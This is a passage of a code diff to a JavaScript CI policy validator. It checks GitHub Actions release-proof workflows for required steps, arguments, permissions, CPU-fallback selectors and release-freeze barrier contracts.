+ "node .github/scripts/qualification-driver-artifact.mjs verify", + ).length === 1 + && linuxDriverVerifyRun.includes("--asset-target linux-x64") + && linuxDriverVerifyRun.includes("--source-sha $(git rev-parse HEAD)") + && linuxDriverVerifyRun.includes("--source-tree $(git rev-parse HEAD^{tree})") + && linuxDriverVerifyRun.includes("--version $version") + && linuxDriverVerifyRun.includes( + "--archive target/release-dist/codestory-cli-v${version}-linux-x64.tar.gz", + ) + && linuxDriverVerifyRun.includes("--trusted-root $GITHUB_WORKSPACE") + && linuxDriverVerifyRun.includes( + "--artifact-dir target/qualification-driver-artifact/linux-x64", + ) + && linuxDriverVerifyRun.includes( + "echo path=$(jq -r .driver <<<$verified) >> $GITHUB_OUTPUT", + ) + && stepIndex(job, "Verify packaged qualification driver") + === stepIndex(job, "Download separate authenticated qualification driver") + 1, + `${linuxVulkanFile} packaged qualification must verify the archive-bound private driver`, + ); + add( + violations, + qualificationDriverHandoffIsSealed( + job, + "Verify packaged qualification driver", + "Prove offline Linux Vulkan retrieval", + [ + "Authenticate calibration bundle producer", + "Download frozen calibration bundle", + ], + ), + `${linuxVulkanFile} must not replace the verified qualification driver before execution`, + ); + const engine = namedStep(job, "Prove offline Linux Vulkan retrieval"); + requireStepRun(violations, linuxVulkanFile, job, "Prove offline Linux Vulkan retrieval", [ + "--engine-policy accelerated", + "--expected-backend Vulkan", + "--offline", + "--proof-tier protected_hardware", + "--qualification-matrix-cell protected_linux_x64_vulkan", + "--calibration-producer-run-id", + "--calibration-producer-artifact", "--server-behavior-only", ]); add( @@ -3895,6 +7743,7 @@ function validateRemainingWorkflows(workflows, violations) { `${linuxVulkanFile} protected proof must reject CPU fallback`, ); const engineRun = stepRun(job, "Prove offline Linux Vulkan retrieval"); + const normalizedEngineRun = shellLiteralNormalizedText(engineRun); add( violations, engine?.if === "${{ !inputs.candidate_installed_proof }}", @@ -3905,8 +7754,27 @@ function validateRemainingWorkflows(workflows, violations) { engineRun.includes("calibration_args=()") && engineRun.includes('"${calibration_args[@]}"') && engineRun.includes('claim_args=(--server-behavior-only)') - && occurrenceCount(engineRun, "--calibration-bundle") === 1, - `${linuxVulkanFile} server-behavior proof must omit calibration while qualification retains it`, + && engineRun.includes("qualification_args=()") + && !normalizedEngineRun.includes("--retrieval-quality-evidence") + && normalizedEngineRun.includes("--produce-qualification-evidence") + && object(engine?.env).VERIFIED_QUALIFICATION_DRIVER + === "${{ steps.qualification-driver.outputs.path }}" + && normalizedEngineRun.includes( + "qualification_driver=$VERIFIED_QUALIFICATION_DRIVER", + ) + && occurrenceCount(normalizedEngineRun, "qualification_driver=") === 1 + && normalizedEngineRun.includes("test -n $qualification_driver") + && normalizedEngineRun.includes("test -x $qualification_driver") + && normalizedEngineRun.includes( + "--qualification-driver $qualification_driver", + ) + && normalizedEngineRun.includes( + "--qualification-evidence target/linux-vulkan-proof/qualification.json", + ) + && occurrenceCount(engineRun, "--produce-qualification-evidence") === 1 + && occurrenceCount(engineRun, "--calibration-bundle") === 1 + && occurrenceCount(engineRun, "check-packaged-agent-proof.py") === 1, + `${linuxVulkanFile} server-behavior proof must omit calibration while standalone qualification runs one lifecycle proof without optional quality`, ); requireStepRun(violations, linuxVulkanFile, job, "Stage isolated candidate-managed Linux install", [ "--prepare-candidate-installed-proof", @@ -3955,7 +7823,11 @@ function validateRemainingWorkflows(workflows, violations) { "retrieval_readiness:linux-x64", "candidate_installed_behavior:linux-x64", "--producer-job packaged-vulkan", + '--expected-sha "$INPUT_REF"', ]); + requireStepEnv(violations, linuxVulkanFile, job, "Emit authenticated Linux Vulkan release cells", { + INPUT_REF: "${{ inputs.ref }}", + }); forbidStepRun( violations, linuxVulkanFile, @@ -3963,6 +7835,119 @@ function validateRemainingWorkflows(workflows, violations) { "Emit authenticated Linux Vulkan release cells", ["calibration"], ); + const optionalCalibration = requireJob( + violations, + linuxVulkanFile, + linuxVulkan, + "optional-constant-calibration", + ); + add( + violations, + optionalCalibration.if + === "${{ inputs.constant_calibration_mode }}" + && JSON.stringify(optionalCalibration["runs-on"]) + === JSON.stringify(["self-hosted", "Linux", "X64", "codestory-linux-vulkan"]) + && optionalCalibration.environment === "linux-vulkan-proof", + `${linuxVulkanFile} optional calibration must be a standalone protected coordinator-only Vulkan job`, + ); + requireStepRun( + violations, + linuxVulkanFile, + optionalCalibration, + "Prepare checksum-pinned embedded model", + [ + "node scripts/prepare-embedded-model.mjs", + '--cache-root "$RUNNER_TOOL_CACHE/codestory/model-material"', + ], + ); + const optionalCollectorName = "Collect optional Linux Vulkan constant calibration"; + requireStepRun(violations, linuxVulkanFile, optionalCalibration, optionalCollectorName, [ + 'test "$CONSTANT_CALIBRATION_MODE" = true', + "--engine-policy accelerated", + "--expected-backend Vulkan", + "--proof-tier calibration", + "--qualification-matrix-cell protected_linux_x64_vulkan", + "--collect-constant-calibration", + "--constant-calibration-output-dir target/calibration-runs/linux-vulkan", + "--qualification-driver target/release/codestory_embedding_constant_calibration", + "--out-dir target/calibration-proof/linux-vulkan", + ]); + const optionalCollector = namedStep(optionalCalibration, optionalCollectorName); + const optionalCollectorRun = shellLiteralNormalizedText( + stepRun(optionalCalibration, optionalCollectorName), + ); + add( + violations, + object(optionalCollector?.env).CODESTORY_EMBED_ALLOW_CPU === "0" + && shellInvocationsContaining( + optionalCollectorRun, + "python .github/scripts/check-packaged-agent-proof.py", + ).length === 1 + && !optionalCollectorRun.includes("--produce-qualification-evidence") + && !optionalCollectorRun.includes("--qualification-evidence") + && !optionalCollectorRun.includes("--retrieval-quality-evidence") + && !optionalCollectorRun.includes("--publication-fault-evidence") + && !optionalCollectorRun.includes("--qualification-scenario") + && !optionalCollectorRun.includes("--samples-per-metric") + && !hasShellLoop(optionalCollectorRun) + && !optionalCollectorRun.includes("--project") + && !optionalCollectorRun.includes("--plugin-root") + && !optionalCollectorRun.includes("--plugin-handoff"), + `${linuxVulkanFile} optional calibration must collect accelerated constants once from a synthetic project without qualification`, + ); + const optionalNativeBuild = namedStep( + optionalCalibration, + "Build and package native CLI and constant driver", + ); + const optionalNativeBuildRun = shellLiteralNormalizedText( + String(optionalNativeBuild?.run ?? ""), + ); + add( + violations, + object(optionalNativeBuild?.env).VERSION === "${{ inputs.version }}" + && shellInvocationsContaining(optionalNativeBuildRun, "cargo build").length === 1 + && optionalNativeBuildRun.includes("-p codestory-cli") + && optionalNativeBuildRun.includes("--bin codestory-cli") + && optionalNativeBuildRun.includes("--bin codestory-cli-runtime") + && optionalNativeBuildRun.includes("-p codestory-bench") + && optionalNativeBuildRun.includes("--bin codestory_embedding_constant_calibration") + && shellInvocationsContaining( + optionalNativeBuildRun, + "python .github/scripts/package-codestory-release.py", + ).length === 1 + && jobShellInvocationsContaining(optionalCalibration, "cargo build").length === 1 + && jobShellInvocationsContaining( + optionalCalibration, + ".github/scripts/package-codestory-release.py", + ).length === 1 + && jobShellInvocationsContaining( + optionalCalibration, + ".github/scripts/check-packaged-agent-proof.py", + ).length === 1 + && optionalNativeBuildRun.includes("--target linux-x64") + && optionalNativeBuildRun.includes("--binary target/release/codestory-cli") + && jobShellInvocationsContaining( + optionalCalibration, + "node scripts/prepare-embedded-model.mjs", + ).length === 1 + && namedStep(optionalCalibration, "Download exact Linux package") === undefined + && namedStep(optionalCalibration, "Build constant calibration driver") === undefined + && !scalarStrings(optionalCalibration).some(value => + value.includes("inputs.package_run_id")), + `${linuxVulkanFile} optional calibration must prepare once, build CLI and collector once, and package that exact CLI once`, + ); + const optionalUpload = namedStep( + optionalCalibration, + "Upload optional Linux Vulkan calibration evidence", + ); + add( + violations, + optionalUpload?.uses === "actions/upload-artifact@v7.0.1" + && String(object(optionalUpload?.with).name).includes("${{ github.run_attempt }}") + && String(object(optionalUpload?.with).path).includes("target/calibration-runs/linux-vulkan") + && String(object(optionalUpload?.with).path).includes("target/calibration-proof/linux-vulkan"), + `${linuxVulkanFile} optional calibration must upload attempt-scoped non-selecting evidence`, + ); for (const name of [ "Upload authenticated Linux accelerator release cell", "Upload authenticated Linux retrieval release cell", @@ -4007,6 +7992,60 @@ function permissionMapMatches(actualValue, expectedValue) { && Object.entries(expected).every(([key, value]) => actual[key] === value); } +function reusableWorkflowPermissionViolations(workflows) { + const violations = []; + const permissionRank = value => ( + value === "write" ? 2 : value === "read" ? 1 : 0 + ); + const permissionRequests = value => { + if (value === "write-all") return [["*", "write"]]; + if (value === "read-all") return [["*", "read"]]; + return Object.entries(object(value)); + }; + const permissionGrant = (value, scope) => { + if (value === "write-all") return { rank: 2, label: "write-all" }; + if (value === "read-all") return { rank: 1, label: "read-all" }; + const granted = object(value)[scope]; + return { rank: permissionRank(granted), label: granted ?? "none" }; + }; + const localWorkflow = /^\.\/\.github\/workflows\/([^/]+\.ya?ml)$/u; + + for (const [callerFile, callerWorkflow] of workflows) { + for (const [jobName, jobValue] of Object.entries(object(callerWorkflow.jobs))) { + const job = object(jobValue); + const match = String(job.uses ?? "").match(localWorkflow); + if (!match) continue; + const calleeFile = match[1]; + const callee = workflows.get(calleeFile); + if (!callee) { + violations.push( + `[reusable_permissions] ${callerFile} job ${jobName} calls missing local workflow ${calleeFile}`, + ); + continue; + } + const callerPermissions = job.permissions === undefined + ? callerWorkflow.permissions + : job.permissions; + for (const [calleeJobName, calleeJobValue] of Object.entries(object(callee.jobs))) { + const calleeJob = object(calleeJobValue); + const requestedPermissions = calleeJob.permissions === undefined + ? callee.permissions + : calleeJob.permissions; + for (const [scope, requested] of permissionRequests(requestedPermissions)) { + const granted = permissionGrant(callerPermissions, scope); + add( + violations, + granted.rank >= permissionRank(requested), + `[reusable_permissions] ${callerFile} job ${jobName} grants ${scope}: ${granted.label} but ${calleeFile} job ${calleeJobName} requests ${requested}`, + ); + } + } + } + } + + return violations; +} + function findNamedStep(workflow, name) { for (const job of Object.values(object(workflow.jobs))) { const found = namedStep(job, name); @@ -4015,6 +8054,1048 @@ function findNamedStep(workflow, name) { return undefined; } +function releaseProofWorkflowFiles(workflows, graph) { + const files = new Set([ + "auto-release.yml", + "packaged-platform-pr.yml", + object(graph.workflow_policy.calibration).coordinator_workflow, + ].filter(Boolean)); + for (const evidenceType of list(graph.evidence_types)) { + for (const lane of list(object(evidenceType).proof_lanes)) { + files.add(path.basename(String(lane))); + } + } + for (const file of list(graph.workflow_policy.artifact_workflows)) { + files.add(path.basename(String(file))); + } + for (const contract of list(graph.workflow_policy.protected_jobs)) { + files.add(path.basename(String(object(contract).workflow))); + } + for (const cell of [ + ...list(object(graph.workflow_policy.calibration).required_cells), + ...list(object(graph.workflow_policy.calibration).optional_cells), + ...list(object(graph.workflow_policy.qualification).required_cells), + ...list(object(graph.workflow_policy.qualification).optional_cells), + ]) { + files.add(path.basename(String(object(cell).workflow))); + } + files.add(path.basename( + String(object(graph.workflow_policy.qualification).coordinator_workflow ?? ""), + )); + files.delete(""); + let changed = true; + while (changed) { + changed = false; + for (const file of [...files]) { + for (const job of Object.values(object(workflows.get(file)?.jobs))) { + const reusable = String(object(job).uses ?? ""); + const match = reusable.match(/^\.\/\.github\/workflows\/([^/]+\.yml)$/u); + if (match && !files.has(match[1])) { + files.add(match[1]); + changed = true; + } + } + } + } + return files; +} + +function workflowCpuSelectorViolations(file, value) { + const violations = []; + function visit(current, location, key = "") { + if (Array.isArray(current)) { + current.forEach((item, index) => visit(item, `${location}[${index}]`)); + return; + } + if (current !== null && typeof current === "object") { + for (const [childKey, childValue] of Object.entries(current)) { + visit(childValue, `${location}.${childKey}`, childKey); + } + return; + } + const text = String(current ?? ""); + const normalizedKey = key.toLowerCase().replaceAll("-", "_"); + const normalizedText = text.trim().toLowerCase(); + if ( + normalizedKey === "codestory_embed_allow_cpu" + && text !== "0" + ) { + violations.push( + `[cpu_selector] ${file} ${location} must set CODESTORY_EMBED_ALLOW_CPU to literal 0`, + ); + } + if ( + ["policy", "engine_policy", "execution_policy"].includes(normalizedKey) + && normalizedText === "cpu_explicit" + ) { + violations.push(`[cpu_selector] ${file} ${location} selects cpu_explicit`); + } + if ( + ["backend", "expected_backend"].includes(normalizedKey) + && normalizedText === "cpu" + ) { + violations.push(`[cpu_selector] ${file} ${location} selects CPU backend`); + } + const executable = shellLiteralNormalizedText(text); + const executableWithoutHostInventory = executable.replaceAll( + "machdep.cpu.brand_string", + "", + ); + if ( + hasNonLiteralCpuAssignment(executable) + || /\bCODESTORY_EMBED_ALLOW_CPU\b/iu.test(executable) + || /\bcpu_explicit\b/iu.test(executable) + || /\bcpu\b/iu.test(executableWithoutHostInventory) + || /--expected-backend(?:\s+|=)cpu\b/iu.test(executable) + || /(?:expected_backend|backend)\s*=\s*cpu\b/iu.test(executable) + ) { + violations.push(`[cpu_selector] ${file} ${location} contains a CPU proof selector`); + } + } + visit(value, file); + return violations; +} + +const cpuTestSeamAllowedJobs = new Map([ + [ + "retrieval-engine-smoke.yml", + new Set(["linux-contracts", "windows-manifest-missing"]), + ], +]); + +function workflowCpuTestSeamViolations(file, value, releaseProofFiles) { + const violations = []; + function visit(current, location, pathParts, jobName) { + if (Array.isArray(current)) { + current.forEach((item, index) => + visit(item, `${location}[${index}]`, [...pathParts, String(index)], jobName)); + return; + } + if (current !== null && typeof current === "object") { + for (const [childKey, childValue] of Object.entries(current)) { + const childPath = [...pathParts, childKey]; + const childLocation = `${location}.${childKey}`; + const childJob = pathParts.length === 1 && pathParts[0] === "jobs" + ? childKey + : jobName; + if ( + childKey.toLowerCase().replaceAll("-", "_") + === "codestory_test_embed_allow_cpu" + ) { + const allowed = !releaseProofFiles.has(file) + && cpuTestSeamAllowedJobs.get(file)?.has(childJob) === true + && childPath.length === 4 + && childPath[0] === "jobs" + && childPath[1] === childJob + && childPath[2] === "env" + && String(childValue) === "1"; + add( + violations, + allowed, + `[cpu_test_seam] ${file} ${childLocation} may enable CPU only through the exact source-test job seam`, + ); + continue; + } + visit(childValue, childLocation, childPath, childJob); + } + return; + } + if ( + /\bCODESTORY_TEST_EMBED_ALLOW_CPU\b/iu.test( + shellLiteralNormalizedText(String(current ?? "")), + ) + ) { + violations.push( + `[cpu_test_seam] ${file} ${location} may not reference the CPU test seam outside an allowlisted source-test job env`, + ); + } + } + visit(value, file, [], ""); + return violations; +} + +export function releaseProofCpuSelectorViolations( + workflows, + graph = loadReleaseClaimGraph(repositoryRoot), + supportSources, +) { + const violations = []; + const releaseProofFiles = releaseProofWorkflowFiles(workflows, graph); + for (const [file, workflow] of workflows) { + // The product selector is never legal in a workflow. Source tests that + // exercise CPU behavior use the separately named, policy-owned test seam. + violations.push(...workflowCpuSelectorViolations(file, workflow)); + violations.push(...workflowCpuTestSeamViolations( + file, + workflow, + releaseProofFiles, + )); + } + const sources = supportSources ?? new Map([ + [ + "scripts/release-evidence/guest-runner.sh", + fs.readFileSync(path.join(repositoryRoot, "scripts/release-evidence/guest-runner.sh"), "utf8"), + ], + [ + ".github/scripts/check-linux-glibc-baseline.sh", + fs.readFileSync(path.join(repositoryRoot, ".github/scripts/check-linux-glibc-baseline.sh"), "utf8"), + ], + [ + "scripts/release-evidence/guest-verify.sh", + fs.readFileSync(path.join(repositoryRoot, "scripts/release-evidence/guest-verify.sh"), "utf8"), + ], + ]); + for (const [file, source] of sources) { + if ( + file.endsWith("guest-verify.sh") + ) { + add( + violations, + source.includes('grep -qxF "CODESTORY_EMBED_ALLOW_CPU=0"') + && source.includes('grep -qxF "CODESTORY_EMBED_ALLOW_CPU=1"'), + `[cpu_selector] ${file} must prove CPU is disabled in the runner service`, + ); + continue; + } + const executable = shellLiteralNormalizedText(source); + if ( + hasNonLiteralCpuAssignment(executable) + || /\bcpu_explicit\b/iu.test(executable) + || /--expected-backend(?:\s+|=)cpu\b/iu.test(executable) + ) { + violations.push(`[cpu_selector] ${file} contains a CPU proof selector`); + } + } + return violations; +} + +export function releaseFreezeBarrierWorkflowViolations( + workflows, + graph = loadReleaseClaimGraph(repositoryRoot), + barrierSource = fs.readFileSync( + path.join(repositoryRoot, ".github", "scripts", "release-freeze-barrier.mjs"), + "utf8", + ), + acceptanceManifestSource = fs.readFileSync( + path.join( + repositoryRoot, + ".github", + "scripts", + "release-freeze-acceptance-jobs.json", + ), + "utf8", + ), +) { + const violations = []; + for (const [file, workflow] of workflows) { + add( + violations, + !scalarStrings(workflow).some(value => value.includes("verify-pending")), + `[freeze_barrier] ${file} must never trust a caller-authored pending freeze`, + ); + } + const freeze = object(graph.workflow_policy.release_freeze_barrier); + const acceptance = object(freeze.acceptance); + const acceptancePhases = object(acceptance.phases); + const calibrationSourcePhase = object(acceptancePhases.calibration_source); + const frozenCandidatePhase = object(acceptancePhases.frozen_candidate); + let acceptanceManifest = {}; + try { + acceptanceManifest = object(JSON.parse(acceptanceManifestSource)); + } catch { + violations.push( + "[freeze_barrier] canonical acceptance job manifest must be valid JSON", + ); + } + const acceptanceManifestJobs = object(acceptanceManifest.jobs); + const acceptanceJobNames = [ + "resolve", + "freeze-hostile-mutations", + "freeze-windows-native-probe", + "freeze-acceptance", + ]; + const acceptanceManifestDigest = createHash("sha256") + .update(acceptanceManifestSource) + .digest("hex"); + add( + violations, + freeze.schema === 3 + && freeze.script === ".github/scripts/release-freeze-barrier.mjs" + && freeze.status_context_prefix === "codestory/release-freeze" + && sameMembers(list(freeze.allowed_future_source_changes), [ + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json", + ]) + && freeze.invalidation_workflow === "release-freeze-invalidation.yml" + && acceptance.producer_workflow === "source-proof.yml" + && acceptance.receipt_authority === "github_actions" + && acceptance.receipt_artifact + === "release-freeze-receipt-attempt-${{ github.run_attempt }}" + && acceptance.receipt_file === "release-freeze-receipt.json" + && acceptance.receipt_producer_job === "resolve" + && acceptance.status_scope === "exact_candidate_head" + && acceptance.later_commit_revokes === true + && acceptance.event === "workflow_dispatch" + && acceptance.hostile_job === "freeze-hostile-mutations" + && acceptance.hostile_step === "Execute exact-head hostile mutation matrix" + && acceptance.windows_job === "freeze-windows-native-probe" + && acceptance.windows_step === "Run exact-head Windows native probe" + && sameMembers(list(acceptance.windows_runner), [ + "self-hosted", + "Windows", + "X64", + "codestory-vulkan", + ]) + && acceptance.windows_probe_max_seconds === 90 + && acceptance.publisher_job === "freeze-acceptance" + && acceptance.publisher_step === "Publish executable release freeze" + && acceptance.status_creator === "github-actions[bot]" + && acceptance.job_manifest + === ".github/scripts/release-freeze-acceptance-jobs.json" + && /^[0-9a-f]{64}$/u.test(String(acceptance.job_manifest_sha256 ?? "")) + && acceptance.job_manifest_sha256 === acceptanceManifestDigest + && sameMembers(list(calibrationSourcePhase.known_future_source_changes), [ + "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json", + ]) + && JSON.stringify(list(calibrationSourcePhase.planned_actions)) === JSON.stringify([ + "calibration-source-acceptance", + "calibration", + "generated-constant-freeze", + "frozen-candidate-acceptance", + "source-proof", + "qualification", + "release", + ]) + && calibrationSourcePhase.next_permitted_mutation + === "crates/codestory-llama-sys/per-user-embedding-server-constant-set.json" + && list(frozenCandidatePhase.known_future_source_changes).length === 0 + && JSON.stringify(list(frozenCandidatePhase.planned_actions)) === JSON.stringify([ + "frozen-candidate-acceptance", + "source-proof", + "qualification", + "release", + ]) + && frozenCandidatePhase.next_permitted_mutation === null, + "[freeze_barrier] release claim graph must pin the executable exact-head freeze contract", + ); + add( + violations, + hasExactKeys(acceptanceManifest, [ + "schema", + "workflow", + "workflow_context_sha256", + "jobs", + ]) + && acceptanceManifest.schema === "codestory.release-freeze-acceptance-jobs/v2" + && acceptanceManifest.workflow === ".github/workflows/source-proof.yml" + && /^[0-9a-f]{64}$/u.test( + String(acceptanceManifest.workflow_context_sha256 ?? ""), + ) + && sameMembers(Object.keys(acceptanceManifestJobs), acceptanceJobNames) + && acceptanceJobNames.every(jobName => + /^[0-9a-f]{64}$/u.test(String(acceptanceManifestJobs[jobName] ?? "")) + ), + "[freeze_barrier] canonical acceptance job manifest must pin exactly the executable acceptance jobs", + ); + add( + violations, + barrierSource.includes('gh(["api", `repos/${repository}/pulls/${number}`])') + && barrierSource.includes( + "`repos/${repository}/git/ref/heads/dev/codestory-next`", + ) + && barrierSource.includes( + "`repos/${repository}/compare/${liveBaseCommit}...${commit}`", + ) + && barrierSource.includes("base_commit: liveBaseCommit") + && barrierSource.includes("const currentReleasePr = releasePr(") + && barrierSource.includes( + "currentReleasePr.base_commit !== receipt?.release_pr?.base_commit", + ) + && barrierSource.includes("release PR base advanced after freeze acceptance") + && barrierSource.includes("git([\"merge-base\", \"--is-ancestor\", mergeCommit, commit]") + && barrierSource.includes("support PR #${number} is not merged"), + "[freeze_barrier] Actions receipt authority must recheck the live release PR base and integrated support PR ancestry", + ); + add( + violations, + barrierSource.includes("for (const status of ACTIVE_RUN_STATES)") + && barrierSource.includes('"api",\n "--paginate",\n "--slurp",') + && barrierSource.includes( + "`repos/${repository}/actions/runs?status=${status}&per_page=100`", + ) + && !barrierSource.includes('"run",\n "list",'), + "[freeze_barrier] obsolete-run discovery must paginate every active Actions state", + ); + + const invalidationFile = freeze.invalidation_workflow; + const invalidation = workflows.get(invalidationFile); + add( + violations, + sameMembers(at(invalidation, "on", "pull_request", "branches"), [ + "dev/codestory-next", + ]) + && sameMembers(at(invalidation, "on", "pull_request", "types"), [ + "synchronize", + ]) + && sameMembers(at(invalidation, "on", "push", "branches"), [ + "dev/codestory-next", + ]) + && object(invalidation.permissions).actions === "write" + && object(invalidation.permissions).contents === "read" + && object(invalidation.permissions).statuses === "write" + && at(invalidation, "concurrency", "cancel-in-progress") === true, + "[freeze_barrier] release freeze invalidation must run automatically when a candidate head is superseded", + ); + const invalidationJob = requireJob( + violations, + invalidationFile, + invalidation, + "invalidate", + ); + add( + violations, + invalidationJob["runs-on"] === "ubuntu-latest" + && invalidationJob["timeout-minutes"] === 5 + && sameMembers( + list(invalidationJob.steps).map(step => step?.name ?? step?.uses), + [ + "actions/checkout@v5", + "Invalidate a superseded release freeze", + ], + ), + "[freeze_barrier] release freeze invalidation must remain one bounded cancellation job", + ); + requireStepRun( + violations, + invalidationFile, + invalidationJob, + "Invalidate a superseded release freeze", + [ + 'test "$BEFORE_SHA" != "$AFTER_SHA"', + "commits/$BEFORE_SHA/statuses?per_page=100", + '.state == "success"', + 'startswith("codestory/release-freeze/")', + 'if [ -z "$freeze_contexts" ]; then', + '"repos/$GITHUB_REPOSITORY/statuses/$BEFORE_SHA"', + "-f state=error", + '-f "context=$context"', + '-f "description=superseded-by=$AFTER_SHA"', + "release-freeze-barrier.mjs invalidate-superseded", + '--commit "$AFTER_SHA"', + '--broad-workflow "Exact-head source proof"', + '--broad-workflow "Platform and integration proof"', + '--broad-workflow "Release"', + '--broad-workflow "Auto Release"', + ], + ); + forbidStepRun( + violations, + invalidationFile, + invalidationJob, + "Invalidate a superseded release freeze", + [ + '.state == "pending"', + ".state == 'pending'", + ], + ); + requireStepEnv( + violations, + invalidationFile, + invalidationJob, + "Invalidate a superseded release freeze", + { + AFTER_SHA: "${{ github.event.after || github.sha }}", + BEFORE_SHA: "${{ github.event.before }}", + EVENT_NAME: "${{ github.event_name }}", + }, + ); + const invalidationRun = executableRunText(stepRun( + invalidationJob, + "Invalidate a superseded release freeze", + )); + add( + violations, + occurrenceCount(invalidationRun, "release-freeze-barrier.mjs invalidate-superseded") + === 2 + && occurrenceCount(invalidationRun, '--broad-workflow "Auto Release"') === 2 + && invalidationRun.indexOf('if [ "$EVENT_NAME" = push ]; then') + < invalidationRun.indexOf("commits/$BEFORE_SHA/statuses?per_page=100") + && invalidationRun.indexOf("release-freeze-barrier.mjs invalidate-superseded") + < invalidationRun.indexOf("commits/$BEFORE_SHA/statuses?per_page=100"), + "[freeze_barrier] every dev push must cancel obsolete proof before PR-status revocation logic", + ); + + for (const file of ["source-proof.yml", "packaged-platform-pr.yml"]) { + const workflow = workflows.get(file); + add( + violations, + trigger(workflow, "pull_request") === undefined, + `[proof_identity] ${file} must not run broad proof from a support PR event`, + ); + add( + violations, + String(at(workflow, "concurrency", "group") ?? "").includes("${{ github.sha }}"), + `[proof_identity] ${file} concurrency must bind the exact Actions SHA`, + ); + const freezeInput = object(at( + workflow, + "on", + "workflow_dispatch", + "inputs", + "freeze_receipt_digest", + )); + add( + violations, + ( + file === "source-proof.yml" + ? freezeInput.required === false && freezeInput.default === "" + : freezeInput.required === true && freezeInput.default === undefined + ) + && freezeInput.type === "string", + file === "source-proof.yml" + ? "[freeze_barrier] source acceptance must mint its own receipt digest" + : "[freeze_barrier] packaged proof must require an exact-head freeze digest", + ); + if (file === "source-proof.yml") { + const dispatchVersionInput = object(at( + workflow, + "on", + "workflow_dispatch", + "inputs", + "version", + )); + const callVersionInput = object(at( + workflow, + "on", + "workflow_call", + "inputs", + "version", + )); + const acceptanceInput = object(at( + workflow, + "on", + "workflow_dispatch", + "inputs", + "acceptance_only", + )); + const acceptancePhaseInput = object(at( + workflow, + "on", + "workflow_dispatch", + "inputs", + "acceptance_phase", + )); + const callFreezeInput = object(at( + workflow, + "on", + "workflow_call", + "inputs", + "freeze_receipt_digest", + )); + add( + violations, + dispatchVersionInput.required === true + && dispatchVersionInput.type === "string" + && callVersionInput.required === true + && callVersionInput.type === "string" + && callFreezeInput.required === true + && callFreezeInput.type === "string" + && acceptanceInput.required === false + && acceptanceInput.type === "boolean" + && acceptanceInput.default === false + && acceptancePhaseInput.required === false + && acceptancePhaseInput.type === "choice" + && acceptancePhaseInput.default === "frozen_candidate" + && JSON.stringify(list(acceptancePhaseInput.options)) + === JSON.stringify(["calibration_source", "frozen_candidate"]) + && at(workflow, "on", "workflow_dispatch", "inputs", "emit_release_cells") + === undefined + && at(workflow, "on", "workflow_call", "inputs", "emit_release_cells") + === undefined, + "[freeze_barrier] source-proof.yml must separate acceptance from broad proof", + ); + add( + violations, + object(workflow.permissions).statuses === "write", + "[freeze_barrier] source-proof.yml acceptance must publish an exact-head commit status", + ); + } else { + add( + violations, + object(workflow.permissions).statuses === "read", + "[freeze_barrier] packaged-platform-pr.yml must authenticate the exact-head freeze status without broad workflow authority", + ); + } + add( + violations, + object(workflow.permissions).actions === "write", + `[freeze_barrier] ${file} must be able to cancel superseded runs`, + ); + const coordinatorJob = file === "source-proof.yml" ? "resolve" : "route"; + requireStepRun( + violations, + file, + requireJob(violations, file, workflow, coordinatorJob), + "Cancel superseded proof runs", + [ + "release-freeze-barrier.mjs cancel-superseded", + '--commit "$HEAD_SHA"', + '--broad-workflow "Exact-head source proof"', + '--broad-workflow "Platform and integration proof"', + '--broad-workflow "Release"', + '--broad-workflow "Auto Release"', + ], + ); + } + + const sourceWorkflow = workflows.get("source-proof.yml"); + const sourceJobNames = [ + "resolve", + "freeze-hostile-mutations", + "freeze-windows-native-probe", + "freeze-acceptance", + "full-source-gate", + "retrieval-generalization", + "windows-native-contracts", + ]; + add( + violations, + sameMembers(Object.keys(object(sourceWorkflow.jobs)), sourceJobNames), + "[freeze_barrier] source-proof.yml must use the closed source and acceptance job contract", + ); + const actualWorkflowContextDigest = createHash("sha256") + .update(canonicalJson(workflowExecutionContext(sourceWorkflow))) + .digest("hex"); + add( + violations, + actualWorkflowContextDigest === acceptanceManifest.workflow_context_sha256, + "[freeze_barrier] source-proof.yml workflow execution context must match the canonical acceptance manifest", + ); + for (const jobName of acceptanceJobNames) { + const actualDigest = createHash("sha256") + .update(canonicalJson(object(at(sourceWorkflow, "jobs", jobName)))) + .digest("hex"); + add( + violations, + actualDigest === acceptanceManifestJobs[jobName], + `[freeze_barrier] source-proof.yml ${jobName} must match the canonical acceptance job manifest`, + ); + } + const sourceResolve = requireJob( + violations, + "source-proof.yml", + sourceWorkflow, + acceptance.receipt_producer_job, + ); + const acceptedCheckout = namedStep(sourceResolve, "Checkout accepted source head"); + add( + violations, + acceptedCheckout?.uses === "actions/checkout@v5" + && object(acceptedCheckout.with).ref === "${{ steps.resolve.outputs.ref }}" + && object(acceptedCheckout.with)["fetch-depth"] === 0, + "[freeze_barrier] Actions receipt generation must have complete history for support PR ancestry", + ); + const recordReceipt = namedStep(sourceResolve, "Record executable release freeze"); + add( + violations, + recordReceipt?.if === "${{ inputs.acceptance_only }}", + "[freeze_barrier] Actions may generate a release freeze receipt only in acceptance mode", + ); + requireStepRun( + violations, + "source-proof.yml", + sourceResolve, + "Record executable release freeze", + [ + 'test -z "$CALLER_FREEZE_RECEIPT_DIGEST"', + "release-freeze-barrier.mjs record-actions-receipt", + '--repository "$GITHUB_REPOSITORY"', + '--repo "$GITHUB_WORKSPACE"', + '--branch "$GITHUB_REF_NAME"', + '--commit "$HEAD_SHA"', + '--tree "$tree"', + '--release-pr "$PR_NUMBER"', + '--support-prs-json "$SUPPORT_PRS_JSON"', + '--reusable-evidence-json "$REUSABLE_EVIDENCE_JSON"', + '--invalidated-evidence-json "$INVALIDATED_EVIDENCE_JSON"', + '--cancelled-runs-json "$CANCELLED_RUNS_JSON"', + '--run-id "$GITHUB_RUN_ID"', + '--run-attempt "$GITHUB_RUN_ATTEMPT"', + '--phase "$ACCEPTANCE_PHASE"', + '--output "$RUNNER_TEMP/release-freeze-receipt.json"', + '--github-output "$GITHUB_OUTPUT"', + ], + ); + requireStepEnv( + violations, + "source-proof.yml", + sourceResolve, + "Record executable release freeze", + { + CALLER_FREEZE_RECEIPT_DIGEST: "${{ inputs.freeze_receipt_digest }}", + ACCEPTANCE_PHASE: "${{ inputs.acceptance_phase }}", + CANCELLED_RUNS_JSON: "${{ steps.cancel.outputs.cancelled }}", + HEAD_SHA: "${{ steps.resolve.outputs.ref }}", + INVALIDATED_EVIDENCE_JSON: "${{ inputs.invalidated_evidence_json }}", + PR_NUMBER: "${{ inputs.pr_number }}", + REUSABLE_EVIDENCE_JSON: "${{ 